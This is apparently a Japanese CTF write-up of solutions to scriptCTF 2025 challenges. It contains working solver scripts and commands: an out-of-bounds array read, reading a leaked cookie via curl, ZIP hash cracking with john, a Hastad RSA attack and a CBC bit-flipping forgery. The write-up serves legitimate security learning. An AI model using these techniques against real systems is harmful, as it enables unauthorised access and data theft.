この大会は2025/8/16 9:00(JST)~2025/8/18 9:00(JST)に開催されました。
今回もチームで参戦。結果は3701点で1190チーム中216位でした。
自分で解けた問題をWriteupとして書いておきます。
Read The Rules (Misc)
ルールのページにリンクされている以下のページにフラグが書いてあった。
https://ctf.scriptsorcerers.xyz/prizes
scriptCTF{600D_1ucK_5011D3r1}
Div (Misc)
secretは128ビット整数。入力するnumの長さは10バイトを超えることができない。また、"e"を含めることができない。
以下の式で、divが0になれば、フラグが表示される。
fl_num = decimal.Decimal(num) div = secret / fl_num
普通にはこんなことはできないが、decimal.Decimalの引数に"Infinity"を指定することができて、条件を満たしそう。
$ nc play.scriptsorcerers.xyz 10467 Enter a number: Infinity scriptCTF{70_1nf1n17y_4nd_b3y0nd_331571b40b75}
scriptCTF{70_1nf1n17y_4nd_b3y0nd_331571b40b75}
emoji (Misc)
絵文字とフラグの形式部分を照らし合わせる。
🁳: s
🁣: c
🁲: r
🁩: i
🁰: p
🁴: t
🁃: C
🁔: T
🁆: F
🁻: {
🁽: }ASCIIコードで並んでいると推測できる。横長の場合、以下のようになる。
_, _: 1 _, 1: 2 _, 2: 3 _, 3: 4 _, 4: 5 _, 5: 6 _, 6: 7 1, _: 8 1, 1: 9 1, 2: : 1, 3: ; 1, 4: < 1, 5: = 1, 6: > 2, _: ? 2, 1: @ 2, 2: A 2, 3: B 2, 4: C 2, 5: D 2, 6: E 3, _: F 3, 1: G 3, 2: H 3, 3: I 3, 4: J 3, 5: K 3, 6: L 4, _: M 4, 1: N 4, 2: O 4, 3: P 4, 4: Q 4, 5: R 4, 6: S 5, _: T 5, 1: U 5, 2: V 5, 3: W 5, 4: X 5, 5: Y 5, 6: Z 6, _: [ 6, 1: \ 6, 2: ] 6, 3: ^ 6, 4: _ 6, 5: ` 6, 6: a
縦長の場合、以下のようになる。
_, _: c
_, 1: d
_, 2: e
_, 3: f
_, 4: g
_, 5: h
_, 6: i
1, _: j
1, 1: k
1, 2: l
1, 3: m
1, 4: n
1, 5: o
1, 6: p
2, _: q
2, 1: r
2, 2: s
2, 3: t
2, 4: u
2, 5: v
2, 6: w
3, _: x
3, 1: y
3, 2: z
3, 3: {
3, 4: |
3, 5: }
3, 6: ~これを元に以下の絵文字を置き換えていく。
🁳🁣🁲🁩🁰🁴🁃🁔🁆🁻🀳🁭🀰🁪🀱🁟🀳🁮🁣🀰🁤🀱🁮🁧🁟🀱🁳🁟🁷🀳🀱🁲🁤🁟🀴🁮🁤🁟🁦🁵🁮🀡🀱🁥🀴🀶🁤🁽
なお、🀰は仲間外れなので、"0"として考える。🀡はよくわからないので、復号してから推測して上記にない文字を当てはめる。
scriptCTF{3m0j1_3nc0d1ng_1s_w31rd_4nd_fun!1e46d}
Subtract (Misc)
問題文に500x500と書いてあるので、coordinates.txtは座標の一覧を示していることがわかる。しかし、250573個の座標があるので、重複がある。
このため、書かれている座標に対して、反転していけば、何か現れると推測する。
#!/usr/bin/env python3 from PIL import Image with open('coordinates.txt', 'r') as f: data = f.read().splitlines() img = Image.new('L', (500, 500), 255) for d in data: point = eval(d) val = img.getpixel(point) img.putpixel(point, val ^ 255) img.save('flag.png')
この結果、フラグ文字列が現れた。

scriptCTF{5ub7r4c7_7h3_n01s3}
Enchant (Misc)
問題文はこうなっている。
I was playing minecraft, and found this strange enchantment on the enchantment table.
Can you figure out what it is? Wrap the flag in scriptCTF{}添付ファイルにはこう書いてある。
ᒲ╎リᒷᓵ∷ᔑ⎓ℸ ̣ ╎ᓭ⎓⚍リ
「minecraft enchantment table decoder」で調べると、「Standard Galactic Alphabet (Minecraft) Translator」というエンコード・デコードサイトが見つかる。URLは次の通り。
https://www.dcode.fr/standard-galactic-alphabet
ここでデコードすると、以下の結果となった。
MINECRAFTISFUN
scriptCTF{MINECRAFTISFUN}
Div 2 (Misc)
サーバの処理概要は以下の通り。
・secret: 128ビット整数 ・以下1000回繰り返し ・choice: 数値入力 ・choiceが1の場合 ・num: 数値入力 ・fl_num = decimal.Decimal(num) ・fl_numのビット長とsecretのビット長が同じであることをチェック ・div = secret / fl_num ・divの整数値を表示 ・choiceが2の場合 ・guess: 数値入力 ・guessとsecretが同じ場合、フラグを表示
2**127を最小値、2**128を最大値として、二分探索で範囲を小さくしていく。目的の値より大きい場合は0、小さい場合は1以上になる。
#!/usr/bin/env python3 import socket def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('play.scriptsorcerers.xyz', 10442)) bounds = [2**127, 2**128] for _ in range(1000): num = (bounds[0] + bounds[1]) // 2 data = recvuntil(s, b': ') print(data + '1') s.sendall(b'1\n') data = recvuntil(s, b': ') print(data + str(num)) s.sendall(str(num).encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) if data == '0': bounds[1] = num else: bounds[0] = num if bounds[1] - bounds[0] == 1: guess = bounds[0] break data = recvuntil(s, b': ') print(data + '2') s.sendall(b'2\n') data = recvuntil(s, b': ') print(data + str(guess)) s.sendall(str(guess).encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data)
実行結果は以下の通り。
:
[1] Provide a number
[2] Guess the secret number
Choice: 1
Enter a number: 201972667545725385089756430807567457254
1
[1] Provide a number
[2] Guess the secret number
Choice: 1
Enter a number: 201972667545725385089756430807567457255
0
[1] Provide a number
[2] Guess the secret number
Choice: 2
Enter secret number: 201972667545725385089756430807567457254
scriptCTF{b1n4ry_s34rch_u51ng_d1v1s10n?!!_b29dca5af01f}
scriptCTF{b1n4ry_s34rch_u51ng_d1v1s10n?!!_b29dca5af01f}
Sums (Programming)
数値配列の部分数列の和を答える問題だが、数が多いので、時間がかかる。最後に"tletletletletletle"と出力されることがわかれば、計算方針が合っていることを確認できる。
途中の標準出力の処理を省略することによって、時間を短縮する。
#!/usr/bin/env python3 import socket def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) n = 123456 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('play.scriptsorcerers.xyz', 10144)) data = recvuntil(s, b'\n').rstrip() #print(data) nums = list(map(int, data.split(' '))) ranges = [] for _ in range(n): data = recvuntil(s, b'\n').rstrip() #print(data) lr = tuple(map(int, data.split(' '))) ranges.append(lr) for i in range(n): l = ranges[i][0] r = ranges[i][1] ans = sum(nums[l:r + 1]) #print(ans) s.sendall(str(ans).encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data)
scriptCTF{1_w4n7_m0r3_5um5_894ed08d8116}
The Insider (OSINT)
問題文はこうなっている。
Someone from our support team has leaked some confidential information. Can you find out who?
https://play.scriptsorcerers.xyz/supportにサポートチームの一覧があるが、ここでは特にフラグに関するものは見つからない。
Discordで、サポートチームの一員である「NoobMaster」ユーザの情報を見ると、フラグが書いてあった。
scriptCTF{1ts_0bv10u5ly_j0hn_d03_aka_n00bm4573r}
The Insider 3 (OSINT)
GitHubを「scriptCTF」等で調べると、以下のアカウントが見つかる。
https://github.com/scriptCTF
scriptCTF26リポジトリを見ると、OSINTというディレクトリだけが見つかる。その中のleakedフォルダを見ると、フラグが見つかった。
scriptCTF{2026_fl4g_f0und_1n_2025}
Index (Pwn)
Ghidraでデコンパイルする。
undefined8 main(EVP_PKEY_CTX *param_1) { int iVar1; long in_FS_OFFSET; char local_78 [104]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); init(param_1); do { while( true ) { menu(); fgets(local_78,100,stdin); iVar1 = atoi(local_78); if (iVar1 < 5) break; if (iVar1 == 0x539) { f = fopen("flag.txt","r"); fgets(flag,0x40,f); } } switch(iVar1) { case 0: printf("Invalid choice: %s",local_78); break; case 1: store_data(); break; case 2: read_data(); break; case 3: print_flag(); break; case 4: puts("Bye!"); if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) { return 0; } /* WARNING: Subroutine does not return */ __stack_chk_fail(); } } while( true ); } void read_data(void) { int local_c; printf("Index: "); __isoc99_scanf(&DAT_00102041,&local_c); getchar(); printf("Data: %s",nums + (long)local_c * 8); return; } nums XREF[3]: Entry Point(*), store_data:001012c3(*), read_data:0010133d(*) 00104060 00 00 00 undefine 00 00 00 00 00 00 flag XREF[3]: Entry Point(*), main:0010153d(*), main:00101544(*) 001040a0 00 00 00 undefine 00 00 00 00 00 00 001040a0 00 undefined100h [0] XREF[3]: Entry Point(*), main:0010153d(*), main:00101544(*) 001040a1 00 undefined100h [1] 001040a2 00 undefined100h [2] 001040a3 00 undefined100h [3] 001040a4 00 undefined100h [4] 001040a5 00 undefined100h [5] 001040a6 00 undefined100h [6] 001040a7 00 undefined100h [7] 001040a8 00 undefined100h [8] 001040a9 00 undefined100h [9] 001040aa 00 undefined100h [10] 001040ab 00 undefined100h [11] 001040ac 00 undefined100h [12] 001040ad 00 undefined100h [13] 001040ae 00 undefined100h [14] 001040af 00 undefined100h [15] 001040b0 00 undefined100h [16] 001040b1 00 undefined100h [17] 001040b2 00 undefined100h [18] 001040b3 00 undefined100h [19] 001040b4 00 undefined100h [20] 001040b5 00 undefined100h [21] 001040b6 00 undefined100h [22] 001040b7 00 undefined100h [23] 001040b8 00 undefined100h [24] 001040b9 00 undefined100h [25] 001040ba 00 undefined100h [26] 001040bb 00 undefined100h [27] 001040bc 00 undefined100h [28] 001040bd 00 undefined100h [29] 001040be 00 undefined100h [30] 001040bf 00 undefined100h [31] 001040c0 00 undefined100h [32] 001040c1 00 undefined100h [33] 001040c2 00 undefined100h [34] 001040c3 00 undefined100h [35] 001040c4 00 undefined100h [36] 001040c5 00 undefined100h [37] 001040c6 00 undefined100h [38] 001040c7 00 undefined100h [39] 001040c8 00 undefined100h [40] 001040c9 00 undefined100h [41] 001040ca 00 undefined100h [42] 001040cb 00 undefined100h [43] 001040cc 00 undefined100h [44] 001040cd 00 undefined100h [45] 001040ce 00 undefined100h [46] 001040cf 00 undefined100h [47] 001040d0 00 undefined100h [48] 001040d1 00 undefined100h [49] 001040d2 00 undefined100h [50] 001040d3 00 undefined100h [51] 001040d4 00 undefined100h [52] 001040d5 00 undefined100h [53] 001040d6 00 undefined100h [54] 001040d7 00 undefined100h [55] 001040d8 00 undefined100h [56] 001040d9 00 undefined100h [57] 001040da 00 undefined100h [58] 001040db 00 undefined100h [59] 001040dc 00 undefined100h [60] 001040dd 00 undefined100h [61] 001040de 00 undefined100h [62] 001040df 00 undefined100h [63]
>>> 0x539 1337
メニューで1337を指定すれば、flagにフラグが設定される。またnumsとflagのアドレスは64バイト離れている。このことから、初めに1337を指定し、2のread_dataでindexに8を指定すれば、フラグが表示されるはず。
$ nc play.scriptsorcerers.xyz 10348 1. Store data 2. Read data 3. Print flag 4. Exit 1337 1. Store data 2. Read data 3. Print flag 4. Exit 2 Index: 8 Data: scriptCTF{4rr4y_00B_unl0ck3d_50f24b3f3a5c} 1. Store data 2. Read data 3. Print flag 4. Exit
scriptCTF{4rr4y_00B_unl0ck3d_50f24b3f3a5c}
Renderer (Web)
/developerのパスの処理の概要を見てみる。
- cookie: クッキーのdeveloper_secret_cookieの値
- correct: ./static/uploads/secrets/secret_cookie.txtの内容
- cookieとcorrectが一致する場合は、フラグを表示
次に./static/uploads/secrets/secret_cookie.txtの内容を見てみる。
$ curl http://play.scriptsorcerers.xyz:10244/static/uploads/secrets/secret_cookie.txt 820c1c798cd912c6a995ad8cade1a859c602532a0440bfc23a3f0b02194a01e2
クッキーのdeveloper_secret_cookieにこの値を設定して、/developerにアクセスしてみる。
$ curl http://play.scriptsorcerers.xyz:10244/developer -b "developer_secret_cookie=820c1c798cd912c6a995ad8cade1a859c602532a0440bfc23a3f0b02194a01e2" Welcome! There is currently 1 unread message: scriptCTF{my_c00k135_4r3_n0t_s4f3!_b32b3bc560a1}
scriptCTF{my_c00k135_4r3_n0t_s4f3!_b32b3bc560a1}
diskchal (Forensics)
imgファイルが添付されているので、FTK Imagerで開いてみたが、特に何も見つからない。このimgファイルを7-Zipで解凍すると、flag.txtが展開され、フラグが書いてあった。
scriptCTF{1_l0v3_m461c_7r1ck5}
pdf (Forensics)
PDF Stream Dumperで開き、オブジェクト4を見ると、フラグが見つかった。
scriptCTF{pdf_s7r34m5_0v3r_7w17ch_5tr34ms}
Just Some Avocado (Forensics)
$ binwalk avocado.jpg DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 JPEG image data, JFIF standard 1.01 100599 0x188F7 Zip archive data, encrypted at least v1.0 to extract, compressed size: 234, uncompressed size: 222, name: justsomezip.zip 100922 0x18A3A Zip archive data, encrypted at least v2.0 to extract, compressed size: 408140, uncompressed size: 437908, name: staticnoise.wav 509321 0x7C589 End of Zip archive, footer length: 22
zipがくっついているので、切り出す。
$ dd bs=1 skip=100599 if=avocado.jpg of=flag.zip 408744+0 records in 408744+0 records out 408744 bytes (409 kB, 399 KiB) copied, 40.1037 s, 10.2 kB/s $ zipinfo flag.zip Archive: flag.zip Zip file size: 408744 bytes, number of entries: 2 -rw-r--r-- 3.0 unx 222 BX stor 25-Jun-25 08:16 justsomezip.zip -rw-r--r-- 3.0 unx 437908 BX defN 25-Jun-26 02:38 staticnoise.wav 2 files, 438130 bytes uncompressed, 408350 bytes compressed: 6.8%
パスワードがかかっているので、クラックする。
$ zip2john flag.zip > zip.hash ver 1.0 efh 5455 efh 7875 flag.zip/justsomezip.zip PKZIP Encr: 2b chk, TS_chk, cmplen=234, decmplen=222, crc=F1B363B7 ts=9A00 cs=9a00 type=0 ver 2.0 efh 5455 efh 7875 flag.zip/staticnoise.wav PKZIP Encr: TS_chk, cmplen=408140, decmplen=437908, crc=1EEC7512 ts=6CD4 cs=6cd4 type=8 NOTE: It is assumed that all files in each archive have the same password. If that is not the case, the hash may be uncrackable. To avoid this, use option -o to pick a file at a time. $ john --wordlist=/usr/share/wordlists/rockyou.txt zip.hash Using default input encoding: UTF-8 Loaded 1 password hash (PKZIP [32/64]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status impassive3428 (flag.zip) 1g 0:00:00:00 DONE (2025-08-17 10:02) 1.369g/s 10066Kp/s 10066Kc/s 10066KC/s in4nd0keren..imissdesi Use the "--show" option to display all of the cracked passwords reliably Session completed.
このパスワードで解凍する。
$ unzip flag.zip Archive: flag.zip [flag.zip] justsomezip.zip password: extracting: justsomezip.zip inflating: staticnoise.wav $ zipinfo justsomezip.zip Archive: justsomezip.zip Zip file size: 222 bytes, number of entries: 1 -rw-r--r-- 3.0 unx 28 TX stor 25-Jun-25 08:12 flag.txt 1 file, 28 bytes uncompressed, 28 bytes compressed: 0.0%
justsomezip.zipはパスワードがかかっている。
staticnoise.wavをAudacityで開き、スペクトログラムを見る。周波数や大きさを調整すると文字が見える。

d41v3ron
これをパスワードとして、justsomezip.zipを解凍すると、flag.txtが展開され、フラグが書いてあった。
scriptCTF{1_l0ve_d41_v3r0n}
RSA-1 (Crypto)
RSA暗号で、eが3で3つのn, cのペアがあるので、Hastad's Broadcast Attackで復号する。復号した結果32バイトのパディングが行われているので、アンパディングする。
#!/usr/bin/env python3 from Crypto.Util.number import * from sympy.ntheory.modular import crt from gmpy2 import iroot from Crypto.Util.Padding import unpad n1 = 156503881374173899106040027210320626006530930815116631795516553916547375688556673985142242828597628615920973708595994675661662789752600109906259326160805121029243681236938272723595463141696217880136400102526509149966767717309801293569923237158596968679754520209177602882862180528522927242280121868961697240587 c1 = 77845730447898247683281609913423107803974192483879771538601656664815266655476695261695401337124553851404038028413156487834500306455909128563474382527072827288203275942719998719612346322196694263967769165807133288612193509523277795556658877046100866328789163922952483990512216199556692553605487824176112568965 n2 = 81176790394812943895417667822424503891538103661290067749746811244149927293880771403600643202454602366489650358459283710738177024118857784526124643798095463427793912529729517724613501628957072457149015941596656959113353794192041220905793823162933257702459236541137457227898063370534472564804125139395000655909 c2 = 40787486105407063933087059717827107329565540104154871338902977389136976706405321232356479461501507502072366720712449240185342528262578445532244098369654742284814175079411915848114327880144883620517336793165329893295685773515696260299308407612535992098605156822281687718904414533480149775329948085800726089284 n3 = 140612513823906625290578950857303904693579488575072876654320011261621692347864140784716666929156719735696270348892475443744858844360080415632704363751274666498790051438616664967359811895773995052063222050631573888071188619609300034534118393135291537302821893141204544943440866238800133993600817014789308510399 c3 = 100744134973371882529524399965586539315832009564780881084353677824875367744381226140488591354751113977457961062275480984708865578896869353244823264759044617432862876208706282555040444253921290103354489356742706959370396360754029015494871561563778937571686573716714202098622688982817598258563381656498389039630 e = 3 ns = [n1, n2, n3] cs = [c1, c2, c3] me, _ = crt(ns, cs) m, success = iroot(me, e) assert success flag = unpad(long_to_bytes(m), 32).decode() print(flag)
scriptCTF{y0u_f0und_mr_yu's_s3cr3t_m3g_12a4e4}
Secure-Server (Crypto)
pcapをWiresharkで開き、TCP Streamを見てみると、以下のようになっている。
With the Secure Server, sharing secrets is safer than ever! Enter the secret, XORed by your key (in hex): 151e71ce4addf692d5bac83bb87911a20c39b71da3fa5e7ff05a2b2b0a83ba03 Double encrypted secret (in hex): e1930164280e44386b389f7e3bc02b707188ea70d9617e3ced989f15d8a10d70 XOR the above with your key again (in hex): 87ee02c312a7f1fef8f92f75f1e60ba122df321925e8132068b0871ff303960e Secret received!
同じkeyでXORしているので、keyを求め、復号すればよい。
#!/usr/bin/env python3 from pwn import xor enc_hex = '151e71ce4addf692d5bac83bb87911a20c39b71da3fa5e7ff05a2b2b0a83ba03' enc = bytes.fromhex(enc_hex) enc2_hex = 'e1930164280e44386b389f7e3bc02b707188ea70d9617e3ced989f15d8a10d70' enc2 = bytes.fromhex(enc2_hex) dec_hex = '87ee02c312a7f1fef8f92f75f1e60ba122df321925e8132068b0871ff303960e' dec = bytes.fromhex(dec_hex) key = xor(enc, enc2) flag = xor(dec, key).decode() print(flag)
scriptCTF{x0r_1s_not_s3cur3!!!!}
EaaS (Crypto)
サーバの処理概要は以下の通り。
・email = '' ・flag: フラグ ・has_flag = False ・sent = False ・key: ランダム32バイト文字列 ・iv: ランダム16バイト文字列 ・encrypt: 鍵:key, IV:ivのAES CBCモード暗号化オブジェクト ・decrypt: 鍵:key, IV:ivのAES CBCモード暗号化オブジェクト ・emailに10個のランダム英小文字を結合 ・emailに"@notscript.sorcerer"を結合 ・emailを表示 ・password: 入力→hexデコード ・passwordの長さは16の倍数であることをチェック ・passwordには"@script.sorcerer"が含まれていないことをチェック ・passwordにはemailが含まれていないことをチェック ・encrypted_pass = encrypt.encrypt(password) ・encrypted_passを16進数表記で出力 ・以下、繰り返し ・choice: 数値入力 ・choiceが1の場合 ・has_flagがTrueの場合、flagを表示 ・choiceが2の場合 ・sentがTrueの場合、終了 ・sent = True ・user_email_encrypted: 入力→hexデコード ・user_email_encryptedの長さが16の倍数でない場合、終了 ・user_email = decrypt.decrypt(user_email_encrypted) ・user_email[-16:]が"@script.sorcerer"でない場合、終了 ・send_email(user_email) ・user_emailに","が含まれている場合 ・recipients: recipientを","区切りにした配列 ・user_emailに","が含まれていない場合 ・recipients: recipient ・recipientsの各値iについて、以下を実行 ・iがemailと一致する場合 ・has_flag = True
emailを暗号化したデータを入手できればよいが、いろいろと条件がある。
emailは以下の形式
xxxxxxxxxx@notscript.sorcerer
最後のブロックは以下のようになっている必要がある。
@script.sorcerer
","区切りで、そのうちの一つにemailが含まれている必要がある。
最後のブロックの条件は、その前の暗号ブロックをXORで調整すれば何とでもなりそう。
以下の平文の暗号文を取得する。なお、"yxxxxxxxxx@notscript.sorcerer"の"y"はemailから一文字変えたものである。
0123456789abcdef XXXXXXXXXXXXXXXX PT0 ^ IV --(AES暗号化)--> CT0 X,yxxxxxxxxx@not PT1 ^ CT0 --(AES暗号化)--> CT1 script.sorcerer, PT2 ^ CT1 --(AES暗号化)--> CT2 XXXXXXXXXXXXXXXX PT3 ^ CT2 --(AES暗号化)--> CT3 @script.sorceres PT4 ^ CT3 --(AES暗号化)--> CT4
CT4はそのまま使い、以下が成り立つよう前のCT3_2を指定すれば、最後のブロックの平文は@script.sorcererになる。
CT3_2 = CT3 ^ "@script.sorceres" ^ "@script.sorcerer"
CT2、CT1はそのまま使い、以下が成り立つよう前のCT0_2を指定すれば、2ブロック目の平文はxxxxxxxxxx@notになる。
CT0_2 = CT0 ^ "X,yxxxxxxxxx@not" ^ "X,xxxxxxxxxx@not"
以上の暗号文を指定すれば、条件を満たす。
#!/usr/bin/env python3 import socket from Crypto.Util.strxor import strxor def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('play.scriptsorcerers.xyz', 10454)) for _ in range(2): data = recvuntil(s, b'\n').rstrip() print(data) email = data.split(' ')[-1] inp_email = '0' + email[1:] inp_domain = '@script.sorceres' password = 'X' * 17 + ',' + inp_email + ',' + 'X' * 16 + inp_domain password_hex = password.encode().hex() data = recvuntil(s, b': ') print(data + password_hex) s.sendall(password_hex.encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) encrypted_pass = bytes.fromhex(data.split(' ')[-1]) enc_blocks = [encrypted_pass[i:i+16] for i in range(0, len(encrypted_pass), 16)] ct0 = strxor(enc_blocks[0], password[16:32].encode()) ct0 = strxor(ct0, ('X,' + email[:14]).encode()) ct3 = strxor(enc_blocks[3], password[64:80].encode()) ct3 = strxor(ct3, (inp_domain[:-1] + 'r').encode()) user_email_encrypted = ct0 + enc_blocks[1] + enc_blocks[2] + ct3 + enc_blocks[4] user_email_encrypted_hex = user_email_encrypted.hex() data = recvuntil(s, b': ') print(data + '2') s.sendall(b'2\n') data = recvuntil(s, b': ') print(data + user_email_encrypted_hex) s.sendall(user_email_encrypted_hex.encode() + b'\n') data = recvuntil(s, b': ') print(data + '1') s.sendall(b'1\n') for _ in range(5): data = recvuntil(s, b'\n').rstrip() print(data)
実行結果は以下の通り。
Welcome to Email as a Service!
Your Email is: psubbebdiu@notscript.sorcerer
Enter secure password (in hex): 58585858585858585858585858585858582c30737562626562646975406e6f747363726970742e736f7263657265722c58585858585858585858585858585858407363726970742e736f726365726573
Please use this key for future login: 557b0b0b5087b7ca7167f9bfdf31b87d147ec1aebd7490961cf63fca8f06ac42c999a9201e8c92a7ca189e073b2e95780400f2664a705d8e7dea5828ef28a509664e22c7512ddd675eec865905f912e0
Enter your choice: 2
[1] Check for new messages
[2] Get flag
Enter encrypted email (in hex): 557b4b0b5087b7ca7167f9bfdf31b87d147ec1aebd7490961cf63fca8f06ac42c999a9201e8c92a7ca189e073b2e95780400f2664a705d8e7dea5828ef28a508664e22c7512ddd675eec865905f912e0
Email sent!
Enter your choice: 1
[1] Check for new messages
[2] Get flag
New email!
From: scriptsorcerers@script.sorcerer
Body: scriptCTF{CBC_1s_s3cur3_r1ght?_3cc87c17090e}
scriptCTF{CBC_1s_s3cur3_r1ght?_3cc87c17090e}
Mod (Crypto)
サーバの処理概要は以下の通り。
・secret: ランダム32バイト文字列を数値化したもの ・num: 数値入力 ・num % secretを表示 ・guess: 入力 ・guessとsecretが一致する場合、フラグを表示
secretより大きい場合、num % secretとの差がsecretの倍数になり、1倍の場合もある。一つに絞ることはできないので、繰り返し実行し、1倍になるのを待つ。
#!/usr/bin/env python3 import socket def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) while True: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('play.scriptsorcerers.xyz', 10164)) num = 2**256 data = recvuntil(s, b': ') print(data + str(num)) s.sendall(str(num).encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) rem = int(data) guess = num - rem data = recvuntil(s, b': ') print(data + str(guess)) s.sendall(str(guess).encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) s.close() if data != 'Incorrect!': break
実行結果は以下の通り。
Welcome to Mod!
Provide a number: 115792089237316195423570985008687907853269984665640564039457584007913129639936
17883211659322784187585244361732990316202745340172194326574036859275970347502
Guess: 97908877577993411235985740646954917537067239325468369712883547148637159292434
Incorrect!
Welcome to Mod!
Provide a number: 115792089237316195423570985008687907853269984665640564039457584007913129639936
11986505003051727581443688810640600930616516420398714387325461459233873007900
Guess: 103805584234264467842127296198047306922653468245241849652132122548679256632036
Incorrect!
Welcome to Mod!
Provide a number: 115792089237316195423570985008687907853269984665640564039457584007913129639936
16158360694075181727116965634652418059470375669593135316564585430394579811983
Guess: 99633728543241013696454019374035489793799608996047428722892998577518549827953
scriptCTF{-1_f0r_7h3_w1n_4a3f7db1_daa486ce09da}
scriptCTF{-1_f0r_7h3_w1n_4a3f7db1_daa486ce09da}